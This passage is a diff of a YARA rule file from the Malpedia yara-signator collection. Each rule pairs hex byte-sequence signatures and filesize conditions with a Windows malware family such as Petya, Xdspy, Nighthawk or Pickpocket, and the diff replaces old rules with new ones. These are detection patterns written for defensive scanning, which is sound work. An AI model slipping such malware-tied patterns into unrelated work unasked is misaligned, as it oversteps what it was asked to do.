8b4834 8b503c } + $sequence_3 = { 0f8487000000 56 68???????? 45 e8???????? 83c408 } + $sequence_4 = { 394134 7506 8b5034 895134 394140 7506 8b5034 } + $sequence_5 = { 8b542428 5d 894808 5b } + $sequence_6 = { 89462c a820 7406 8b4604 014804 8b462c a900080000 } + $sequence_7 = { eb07 894a34 eb02 890b 894134 894838 8b13 } + $sequence_8 = { f7402c00000001 a1???????? 890c24 7505 } + $sequence_9 = { 83c618 56 e8???????? 83c40c 5e c3 } condition: - 7 of them and filesize < 2564096 + 7 of them and filesize < 958464 } -rule MALPEDIA_Win_Xdspy_Auto : FILE +rule MALPEDIA_Win_Pickpocket_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "54110d73-619a-59d4-a80b-7be8436504a7" + id = "802dc3e0-e29e-5fb9-b36e-fb6fbc442d76" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xdspy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xdspy_auto.yar#L1-L174" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pickpocket" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pickpocket_auto.yar#L1-L113" license_url = "N/A" - logic_hash = "6256dc971ecf3bb6744674fefad5e90a83cd8cf7acf2f0addd47bba093a56e7a" + logic_hash = "22ebdc63d7f82763f33842db7356986ba14b78ce5a40d50ef0cdea3da00bc1be" score = 75 quality = 75 tags = "FILE" @@ -104125,38 +104537,32 @@ rule MALPEDIA_Win_Xdspy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d85b0510000 50 e8???????? 8d85b0510000 50 897da4 } - $sequence_1 = { 5e e8???????? c9 c3 53 56 68???????? } - $sequence_2 = { e8???????? 8d851cd1ffff 50 e8???????? ff35???????? 8d851cd1ffff 50 } - $sequence_3 = { 89459c ff15???????? 85c0 7413 ff15???????? 3db7000000 7506 } - $sequence_4 = { 56 8bf8 e8???????? 83c410 8bd8 85ff } - $sequence_5 = { 85f6 0f84ba000000 8975e0 8b04bd804e4100 0500080000 3bf0 } - $sequence_6 = { c3 8bff 56 57 33ff 8db730074100 } - $sequence_7 = { e8???????? 68ff000000 e8???????? 59 59 8b7508 8d34f548044100 } - $sequence_8 = { 0f8514010000 83fb01 0f850b010000 e8???????? 488d8dc0130000 ff15???????? } - $sequence_9 = { 88840d80070000 488d4901 84c0 75e8 80bd8007000000 488d8580070000 } - $sequence_10 = { 48898424c0000000 4889bc24c8000000 488d8c2480000000 ff15???????? } - $sequence_11 = { 4983e801 75ea b801000000 8d501f 6690 } - $sequence_12 = { 880413 48ffc3 4883fb0e 7cea } - $sequence_13 = { 75e8 488bcb 0f1f440000 420fb684399c941700 } - $sequence_14 = { 7413 0f1f840000000000 fe08 488d4001 403838 75f5 } - $sequence_15 = { e8???????? 488b05???????? 488d15853a0100 488bcb 83e13f } + $sequence_0 = { 85c0 740f b990cc0000 e8???????? } + $sequence_1 = { e8???????? 85c0 750f b962890100 } + $sequence_2 = { e8???????? 85c0 740f b990cc0000 e8???????? } + $sequence_3 = { eb05 b960cb0000 e8???????? eb02 33c0 } + $sequence_4 = { 790e b91dca0000 e8???????? 8907 } + $sequence_5 = { 7504 33c0 eb0a b9e8d70000 } + $sequence_6 = { 8a4201 84c0 7823 83e17f 0fb6c0 c1e107 03c8 } + $sequence_7 = { 7404 8b01 eb03 83c8ff 83f804 } + $sequence_8 = { a846 750f b99be00100 e8???????? e9???????? } + $sequence_9 = { b9dccc0000 e9???????? b9cecc0000 e9???????? b9c7cc0000 e9???????? } condition: - 7 of them and filesize < 3244032 + 7 of them and filesize < 1458176 } -rule MALPEDIA_Win_Giftedcrook_Auto : FILE +rule MALPEDIA_Win_Petya_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "fdb2b54b-eafe-53d8-b9a6-9bb6fa7e1261" + id = "6e25f6ba-0f88-5dbc-a462-9f4861151314" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.giftedcrook" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.giftedcrook_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.petya" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.petya_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "c55ae29646ee6e1fa6528687183d61d605ab3a357e4390ae9837f246340b30d4" + logic_hash = "e12039168edf2e4657ffd112871fe75ec301f0f0758dfc0dfdc297a04b207216" score = 75 quality = 75 tags = "FILE" @@ -104170,32 +104576,32 @@ rule MALPEDIA_Win_Giftedcrook_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 744f 4c8bca 4c8d05da9d0400 ba80000000 488d4c2430 e8???????? 0fb69f550a0000 } - $sequence_1 = { 488983300d0000 488d15b0720800 c683500d000001 488bcb e8???????? 488b457f 33ff } - $sequence_2 = { 4c8bc6 488d154a270500 488bcf e8???????? ba01000000 488bcf e8???????? } - $sequence_3 = { 0fbe4550 83c0d3 83f846 0f8794feffff 4898 0fb68402e00e0300 8b8c82bc0e0300 } - $sequence_4 = { e8???????? 4c8bf0 4885c0 7512 48396f60 740c 4c8d35bbff0700 } - $sequence_5 = { 4c8b8d50070000 4c8d05aa0f0500 488d9598060000 e8???????? 8bf8 85c0 750a } - $sequence_6 = { 4489442440 488d4c2450 89542438 4c8d05d2240500 44895c2430 ba18000000 4489542428 } - $sequence_7 = { 4c8d05d21a0500 e8???????? 8bf8 85c0 } - $sequence_8 = { 8bf2 4c8d0d3d500200 488be9 4c8d052b500200 488d152c500200 b901000000 e8???????? } - $sequence_9 = { 48896c2420 4c8d2d28dc0600 448bcf 4d0f45e8 488d1522dc0600 4d8bc5 498bcc } + $sequence_0 = { 8bc7 c1e810 88442431 8bc7 c1e808 88442432 } + $sequence_1 = { 117c2434 33f6 0facc81c c1e204 0bf0 c1e91c } + $sequence_2 = { 56 8b35???????? 33c9 57 33ff 8d0486 8bd8 } + $sequence_3 = { 83c604 3bfb 72f0 5f 5e 5b } + $sequence_4 = { 0bf1 33442424 33fe 23442420 } + $sequence_5 = { 8b4c2420 33fe 8bf0 33da 0facc80e 33d2 c1e612 } + $sequence_6 = { 8bca 88442428 8bc6 c1e810 88442429 8bc6 } + $sequence_7 = { 56 8b750c 57 83fe01 7517 } + $sequence_8 = { 8bca c1e303 0facc110 897c2424 c1e810 8bc2 884c242d } + $sequence_9 = { 8b5d0c 33c9 56 8b7508 2bde } condition: - 7 of them and filesize < 1605632 + 7 of them and filesize < 229376 } -rule MALPEDIA_Win_Nighthawk_Auto : FILE +rule MALPEDIA_Win_Newsreels_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f73d8e8e-0e22-5d8b-a28a-19526ca65051" + id = "e9b53256-b535-5dc7-8672-9faed5bf005d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nighthawk" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nighthawk_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.newsreels" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.newsreels_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "83ca7d457445609b911357175ebed2dd8acc41dfcf066ffda805bb2cf527d439" + logic_hash = "a1151606e01c8e298edbe7dd1574962a9c78cdce343ec52b131b424fbeb15649" score = 75 quality = 75 tags = "FILE" @@ -104209,32 +104615,32 @@ rule MALPEDIA_Win_Nighthawk_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4885c9 7405 e8???????? 4883631000 48c743180f000000 c60300 4883c320 } - $sequence_1 = { e8???????? 488b4810 4883781810 7203 488b00 4885c9 7425 } - $sequence_2 = { 4c89b5a0010000 4c89bda8010000 4488b590010000 48399dc8010000 7211 488b8db0010000 4885c9 } - $sequence_3 = { 4c89742430 4c89742440 48c74424480f000000 41b814000000 488d15deaf0500 488d4c2430 e8???????? } - $sequence_4 = { 4c8b43f8 4d85c0 742b 4883c8ff 48ffc0 44382407 75f7 } - $sequence_5 = { 4c8b32 492bee 488bc5 48c1f803 480fafc1 4885ed 7473 } - $sequence_6 = { 488d542420 488bce e8???????? 90 eb2b 4c892e 41be0f000000 } - $sequence_7 = { 57 4883ec40 488360f000 488bf1 83601800 488d0da9db0700 8bda } - $sequence_8 = { e9???????? 83fa06 0f8553010000 8d7209 443821 742e 4c8965e0 } - $sequence_9 = { eb05 448974246c 4889b580020000 4889b590020000 4889bd98020000 41b823000000 488d1537f50700 } + $sequence_0 = { c1e902 f3a5 a1???????? 8bcd 83e103 } + $sequence_1 = { 83c41c 85f6 750b 5f } + $sequence_2 = { ff15???????? 8b8c241c030000 8dbc240c010000 51 83c9ff 33c0 } + $sequence_3 = { 56 ff15???????? 8be8 85ed 750e 56 } + $sequence_4 = { 83c410 c6043000 5e 5d 5b 81c4a0010000 } + $sequence_5 = { 83c408 85db 750a 5e 5d } + $sequence_6 = { 83c703 c1f902 83e13f 897c2424 8a81305d4000 88441efc 8a4c2ffd } + $sequence_7 = { 80e301 881c30 40 83f808 } + $sequence_8 = { 7415 53 e8???????? 83c404 33c0 } + $sequence_9 = { f7d1 2bf9 6a4d 8bf7 8bd9 8bfa 83c9ff } condition: - 7 of them and filesize < 1949696 + 7 of them and filesize < 65536 } -rule MALPEDIA_Win_Bughatch_Auto : FILE +rule MALPEDIA_Win_Nikitear_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f21da185-8629-53ca-b1ab-60be907f0853" + id = "f8fdb193-3c11-59c1-829a-a9eb5f221c83" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bughatch" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bughatch_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nikitear" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nikitear_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "8c2d742c99e41f022aebe397e085bdb9d00214c3c4ebe4e2052113f6ff7a225a" + logic_hash = "78bbb5bb165f52797af65de0137f35c2d932f8f5aaa20ce84f06a64d8b20f48b" score = 75 quality = 75 tags = "FILE" @@ -104248,32 +104654,32 @@ rule MALPEDIA_Win_Bughatch_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83ec10 8b4508 8945f0 8b4df0 8b5508 03513c 8955f4 } - $sequence_1 = { 8945fc 8d95f8f7ffff 52 e8???????? 83c404 8945f8 8b45f8 } - $sequence_2 = { 6a00 e8???????? 83c40c eb41 8b450c 50 68???????? } - $sequence_3 = { d1e8 8945f4 8b4d08 894df8 c745fc00000000 eb09 } - $sequence_4 = { 6a00 8d4de8 51 6a00 8b55fc } - $sequence_5 = { ba01000000 6bc200 c6840588fdffff00 837d0c00 7507 33c0 e9???????? } - $sequence_6 = { ff15???????? 8b4df8 51 ff15???????? 8b45e0 } - $sequence_7 = { 6a00 6a00 ff15???????? b904000000 } - $sequence_8 = { 68???????? 8d8d94f7ffff 51 ff15???????? 8b550c } - $sequence_9 = { e9???????? 8d55f0 52 8b45e0 50 8b4de4 } + $sequence_0 = { 488d8d60010000 ffd0 33c0 c74424204004242e 8844242c } + $sequence_1 = { 8d419f 3c19 7706 448d49b9 eb24 8d41d0 3c09 } + $sequence_2 = { 48635708 4c8d3dcce5feff 48035508 0fb60a 83e10f 4a0fbe843908460300 428a8c3918460300 } + $sequence_3 = { 488d4c2440 4885f6 743f 4c8d054ff7fdff 483bca 7333 80390d } + $sequence_4 = { 4c03f3 4c8b6c2460 4b8d0427 4c3bf0 0f94c0 488b4df8 4833cc } + $sequence_5 = { 488d151e570200 488d0de7560200 e8???????? 85c0 7529 } + $sequence_6 = { 39b42480000000 747b 4c8d0576ce0100 498b04e8 f644f83848 7441 0fb7442470 } + $sequence_7 = { 44884c2420 41b901000000 4533c0 418bd1 488bcb e8???????? 83e73f } + $sequence_8 = { 48ffc1 4883f90d 7306 0fb65590 ebea 0fb64591 8bce } + $sequence_9 = { 4883c227 482bc1 4883c0f8 4883f81f 772a e8???????? 488b4310 } condition: - 7 of them and filesize < 75776 + 7 of them and filesize < 610304 } -rule MALPEDIA_Win_Mortalkombat_Auto : FILE +rule MALPEDIA_Win_Putabmow_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2926ed70-9658-5024-99d2-e9010cd78f8a" + id = "91e8d589-44ec-5d63-963b-4d5831e9d035" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mortalkombat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mortalkombat_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.putabmow" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.putabmow_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "6719ab7cb4e15bf8e439d94e5987475ec5045761b54a9759e4f94419dacc6908" + logic_hash = "b27fa1335b6a432b3b5508ab17de3d0a99cf669e0fc066f733c76db90efddfc9" score = 75 quality = 75 tags = "FILE" @@ -104287,32 +104693,32 @@ rule MALPEDIA_Win_Mortalkombat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d85e8feffff 50 68???????? e8???????? 85c0 0f849c020000 8d85e8feffff } - $sequence_1 = { c745e800000000 8d45d0 50 e8???????? c745b02c010000 c745ac69000000 } - $sequence_2 = { 7516 6a10 68???????? 68???????? ff7508 e8???????? } - $sequence_3 = { 7401 41 8b35???????? 8bfe 33d2 83fa10 7502 } - $sequence_4 = { 68???????? e8???????? 68???????? 6800020000 e8???????? } - $sequence_5 = { 33ce 033d???????? 33cf 03d1 81c3b979379e 8bca } - $sequence_6 = { 6a00 e8???????? ff0d???????? 6801010000 } - $sequence_7 = { 751e 68???????? 68???????? e8???????? 68???????? e8???????? c60000 } - $sequence_8 = { 837d0c01 0f85a6010000 833d????????00 7506 ff0d???????? 68???????? 68???????? } - $sequence_9 = { 0fb605???????? 83f801 7511 68???????? 68???????? } + $sequence_0 = { 6200 3100 680032006f 0033 0010 0035???????? 007b00 } + $sequence_1 = { e8???????? c645fc06 8b467c 89477c 8b8680000000 898780000000 8b8684000000 } + $sequence_2 = { 32db c78424200b000021000000 8b442418 a802 } + $sequence_3 = { c1f905 83e107 094828 8a5201 f6c204 7404 83482810 } + $sequence_4 = { 3901 61 0039 016200 3f 016300 3f } + $sequence_5 = { 8b4df8 8bd6 ff75e8 57 ff75f0 6a00 50 } + $sequence_6 = { 8d8c24b0070000 ff30 e8???????? c68424200b00004c 8d8424e0000000 50 8d8c24f8040000 } + $sequence_7 = { c684249404000000 84db 0f8493010000 f7462800004000 8d5618 7502 8b12 } + $sequence_8 = { 3bf1 7608 89442420 2bf1 eb02 33f6 8b4314 } + $sequence_9 = { 888630977300 46 ebe5 a1???????? 83c9ff f00fc108 7513 } condition: - 7 of them and filesize < 1224704 + 7 of them and filesize < 704512 } -rule MALPEDIA_Win_Nevada_Auto : FILE +rule MALPEDIA_Win_Banpolmex_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d851b978-3df8-538e-b0a6-f5a42a4c41f2" + id = "09c8ccaf-8f5a-5f11-8d59-2eeae879be55" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nevada" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nevada_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.banpolmex" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.banpolmex_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "5d586f59dca860d1839b19790bc7f7be57e580648d77868dbbba465dd7726682" + logic_hash = "ca7f23e428ff171c615716f21966c01f85ab62bd4b01db41e41afe5b6847958b" score = 75 quality = 75 tags = "FILE" @@ -104326,32 +104732,32 @@ rule MALPEDIA_Win_Nevada_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4889ea e8???????? 0f0b 4c8d0515c10200 ba00100000 4889e9 e8???????? } - $sequence_1 = { 4d89f8 664585e4 0f8597feffff e9???????? 4981fe01010000 0f834a010000 0f57c0 } - $sequence_2 = { e8???????? 4c8da42450020000 4c89e1 4889fa 4d89f8 e8???????? 488db42478020000 } - $sequence_3 = { 4839ce 74c4 803ea0 72bf eb3e 4839ce 4889d7 } - $sequence_4 = { 438a443cff 3c2f 7438 3c5c 7434 e9???????? 41813f5c5c3f5c } - $sequence_5 = { 415f c3 4c8d642430 488dac24b0000000 eb26 488b8424c0000000 48035c2420 } - $sequence_6 = { 4080fd02 0f8510010000 488d6901 4c39c5 0f83fe000000 803c2abf b301 } - $sequence_7 = { 0f821affffff 8b442428 4189442434 8a442427 4188442438 31ed e9???????? } - $sequence_8 = { 48837f1000 0f859c010000 4d89c4 4989d7 488d4710 488945e8 48c74710ffffffff } - $sequence_9 = { 4c8d3559910200 4c39c9 7317 0f1f840000000000 4885db 740a 803c0b45 } + $sequence_0 = { 488bcf e8???????? e9???????? 3d4c494b50 7515 488d4c2430 4c8bc7 } + $sequence_1 = { 488b4d07 4885c9 7406 ff15???????? 4183fd04 7512 488d1560960200 } + $sequence_2 = { 418bc0 c1e808 0fb6c8 418b848a20de0800 250000ff00 33d0 } + $sequence_3 = { 8944246c 8bf8 ff15???????? 488bd8 4885c0 0f847e010000 8d4e40 } + $sequence_4 = { 410fb6c5 45338487000c0000 4433460c 418bc0 c1e810 0fb6d0 418bc1 } + $sequence_5 = { 0f47d0 8915???????? 488d0d42130900 e8???????? 4c8b6c2468 4c8b642470 488bac24a0000000 } + $sequence_6 = { 7439 4883c420 5b c3 488d91d0000000 41b840000000 e8???????? } + $sequence_7 = { 4885ff 7406 89aee4000000 4885db 7406 89aee0000000 33c0 } + $sequence_8 = { 488d542440 4c8bc3 488bc8 488bf8 c744244000000400 e8???????? 33ed } + $sequence_9 = { 488bd3 488bcf e8???????? 85c0 78ba 8b03 803c3805 } condition: - 7 of them and filesize < 1063936 + 7 of them and filesize < 1555456 } -rule MALPEDIA_Win_Fatduke_Auto : FILE +rule MALPEDIA_Win_Open_Carrot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "adb8db95-b0a4-5276-93ef-e2fa83c10075" + id = "83f461b8-8266-54de-aecf-ccf2d96f380a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fatduke" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fatduke_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.open_carrot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.open_carrot_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "e52f36e4d51bd81125ac15c50f357b773a2dec05d6d491e80497ca4c3e0bf041" + logic_hash = "e66ea48fe876b6e65527515af0e78a716fad581d1208dc43cfdbcb201ec0f71a" score = 75 quality = 75 tags = "FILE" @@ -104365,32 +104771,32 @@ rule MALPEDIA_Win_Fatduke_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 83c404 c7451c07000000 c7451800000000 33c0 66894508 c745fcffffffff } - $sequence_1 = { e8???????? c745fc00000000 33c0 8b4d08 c706???????? f6c101 7505 } - $sequence_2 = { 8b4004 8a540840 8855ee 8b4c0838 8b4120 833800 7423 } - $sequence_3 = { c784248800000000000000 c784248c00000000000000 c784248c0000000f000000 c784248800000000000000 c644247800 803a00 7504 } - $sequence_4 = { a1???????? 33c4 50 8d442430 64a300000000 8bf1 ff74240c } - $sequence_5 = { 8b450c 8901 8bc1 8b4df4 64890d00000000 59 5f } - $sequence_6 = { c745e000000000 8d45b4 50 8d45e0 50 6a01 8d45e8 } - $sequence_7 = { e9???????? 8b4df0 81c104030000 e9???????? 8b4df0 81c11c030000 e9???????? } - $sequence_8 = { c745fc00000000 8b450c 894114 8b4510 894118 8b4514 89411c } - $sequence_9 = { 8d45d8 50 8d5508 8d4dc0 e8???????? 83c404 c645fc02 } + $sequence_0 = { 66894110 837de801 0f8588000000 488bc7 80bdfa00000001 7545 0f1f440000 } + $sequence_1 = { e8???????? 4863d7 4c8d05dbdc0f00 41b9e3010000 498bce e8???????? 418bc7 } + $sequence_2 = { 80fb00 0f846c000000 4d31e5 4881e700080000 49c7c501000000 4989eb 4881e190000000 } + $sequence_3 = { 55 48bd612fef7700000000 48016c2408 5d 8f042b 48812c2b612fef77 50 } + $sequence_4 = { 4d29c9 0137 4981e13f000000 4889eb 4881c306010000 4d09c1 2933 } + $sequence_5 = { 8bd6 488d8d10070000 e8???????? 85c0 400f94c7 eb03 4032ff } + $sequence_6 = { e8???????? 498bcd e8???????? 448b442434 4c8d0dc8cb0d00 ba72000000 c744242082020000 } + $sequence_7 = { 4c8d8594080000 4489b520030000 bacc010000 488d8d24030000 e8???????? 448bad20030000 448b4c2438 } + $sequence_8 = { 68bc5c574f 4150 4d89f0 4150 8f442408 4158 8f0424 } + $sequence_9 = { 488d1575381000 41b872010000 e8???????? 48638300020000 4c89bcc380000000 48638300020000 488b6c2448 } condition: - 7 of them and filesize < 9012224 + 7 of them and filesize < 8377344 } -rule MALPEDIA_Win_Apocalipto_Auto : FILE +rule MALPEDIA_Win_Selfmake_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "040d40e4-215e-5fc8-9173-5081c16b8126" + id = "14e0b71d-d2cd-519a-a7ac-d6d6b6506061" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.apocalipto" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.apocalipto_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.selfmake" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.selfmake_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "59ef34dc3f2d1dbdb1e3d7de19e14bb33faf50cd3fbb7faa9fac9e36e92697d7" + logic_hash = "08e1e6c97c92f2a3bf3c8dda29bd3cb3a7515a9d0a9d08d73c9a2b096d151fb4" score = 75 quality = 75 tags = "FILE" @@ -104404,32 +104810,32 @@ rule MALPEDIA_Win_Apocalipto_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83ec48 c745f400000000 8d45f4 89442410 c744240c1c000000 8d45d8 } - $sequence_1 = { 85c0 0f8433090000 c7442404???????? 891c24 } - $sequence_2 = { 745f 31db 6690 43 } - $sequence_3 = { 31c0 85ff 75d9 8945f0 31db 31c9 } - $sequence_4 = { 0500100000 8985d0f3ffff c744240c04000000 c744240800100000 89442404 } - $sequence_5 = { c744241800000000 c744241404000000 c744241000000000 c744240c00000000 c744240800000000 8b5508 } - $sequence_6 = { e9???????? ff15???????? 89c6 c705????????01000000 c7442404???????? 890424 e8???????? } - $sequence_7 = { 890424 ff15???????? 50 c744240800400000 895c2404 } - $sequence_8 = { 8974bb08 41 81f900010000 75cf c7430400000000 c70300000000 } - $sequence_9 = { a3???????? 85c0 0f84510a0000 c7442404???????? 891c24 ff15???????? 83ec08 } + $sequence_0 = { e8???????? c644247801 837c244810 720d } + $sequence_1 = { c1e902 8bf2 f3a5 8bc8 83e103 6a0a f3a4 } + $sequence_2 = { 68???????? e8???????? 83c040 50 e8???????? 8b5608 8b4254 } + $sequence_3 = { 57 8d7c2414 e8???????? 83c404 83f8ff 751d 68???????? } + $sequence_4 = { 3bf3 760a 2bf3 eb08 8b5c246c ebe7 } + $sequence_5 = { 83c408 6818020000 6a00 8d8de0fdffff 51 e8???????? 83c40c } + $sequence_6 = { 8be8 6a1f 55 ff15???????? } + $sequence_7 = { 80387f 0f844e010000 8bc2 83f910 } + $sequence_8 = { 51 8b95a0fbffff 52 ff15???????? 8945f8 837df800 } + $sequence_9 = { 33c0 e9???????? 8d95c0fbffff 52 } condition: - 7 of them and filesize < 212992 + 7 of them and filesize < 932864 } -rule MALPEDIA_Win_M0Yv_Auto : FILE +rule MALPEDIA_Win_Kgh_Spy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9a129bc6-2344-5ff6-a3ef-18a2b58317ac" + id = "dc190002-e772-5121-92cd-702f57df5a52" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.m0yv" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.m0yv_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kgh_spy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kgh_spy_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "187d793321c420f42e54cfca36e40f43e077f8b56c43ac66dc5d6006d88beffc" + logic_hash = "e5faa391b98537b62aa0655593e441fa8bf7b12383d96ea8cca680986ba0c716" score = 75 quality = 75 tags = "FILE" @@ -104443,32 +104849,32 @@ rule MALPEDIA_Win_M0Yv_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4589d1 41c1f919 4501c1 4589c8 41c1f81a 4501d8 8811 } - $sequence_1 = { 4889ce e8???????? 31ff 4885db 744f 85c0 744b } - $sequence_2 = { 7418 4180783c02 755f 418ac3 24f0 3c40 7556 } - $sequence_3 = { 4801d8 480500000001 4803542420 4889c5 } - $sequence_4 = { b918000000 ff10 4885c0 740b c70002000000 897008 eb02 } - $sequence_5 = { 4d89ea 4a035cee08 4831cf 4889c1 48c1c11e 4889c6 4931fc } - $sequence_6 = { 4889f2 e8???????? 4c89e1 4c89e2 4989d8 e8???????? 4c8d4778 } - $sequence_7 = { 4869c2182d0700 4901c3 4c69d5d1150200 4d01fa 4869c267fb0900 } - $sequence_8 = { 4889dd 480fafee 4889ac2488000000 4c8d3c36 480faff6 4801ce 48635810 } - $sequence_9 = { b918000000 ff17 4885c0 7433 4889c6 c70006000000 } + $sequence_0 = { ff15???????? 488b8c24a0000000 ff15???????? 0fb605???????? 88842480010000 488d842481010000 488bf8 } + $sequence_1 = { 488d0dd0fd0000 e8???????? c744244000000000 c744244800000000 488d442460 488d0def150100 488bf8 } + $sequence_2 = { ff15???????? 4889442468 48837c246800 7507 32c0 e9???????? 48c744243800000000 } + $sequence_3 = { 448d4202 e8???????? 8bcb e8???????? 85c0 0f84bc020000 488d0517bf0000 } + $sequence_4 = { 75eb 488b442430 488b8c2490000000 4803c8 488bc1 } + $sequence_5 = { e8???????? 488905???????? 48833d????????00 7504 32c0 eb26 ba855d05a6 } + $sequence_6 = { 488d8424f0030000 488bf8 33c0 b908020000 f3aa 4c8d0df7e30000 } + $sequence_7 = { 89442428 488d8424300e0000 4889442420 448bc9 4c8d8424300a0000 } + $sequence_8 = { 488b442428 8b4c2430 894808 4863442424 4889442440 488b7c2430 33c0 } + $sequence_9 = { ff15???????? 0fb605???????? 888424a0030000 488d8424a1030000 488bf8 33c0 } condition: - 7 of them and filesize < 779264 + 7 of them and filesize < 207872 } -rule MALPEDIA_Win_Maoloa_Auto : FILE +rule MALPEDIA_Win_Grateful_Pos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "afa3d79b-4a68-539f-9bf1-2fbe13d229d7" + id = "7572cc07-80f2-55f7-bf6f-ae8865b15e70" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.maoloa" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.maoloa_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grateful_pos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.grateful_pos_auto.yar#L1-L163" license_url = "N/A" - logic_hash = "6927aeeb8c5b24487b9e82b9c7317d430a704e39d7308aabba00107302314472" + logic_hash = 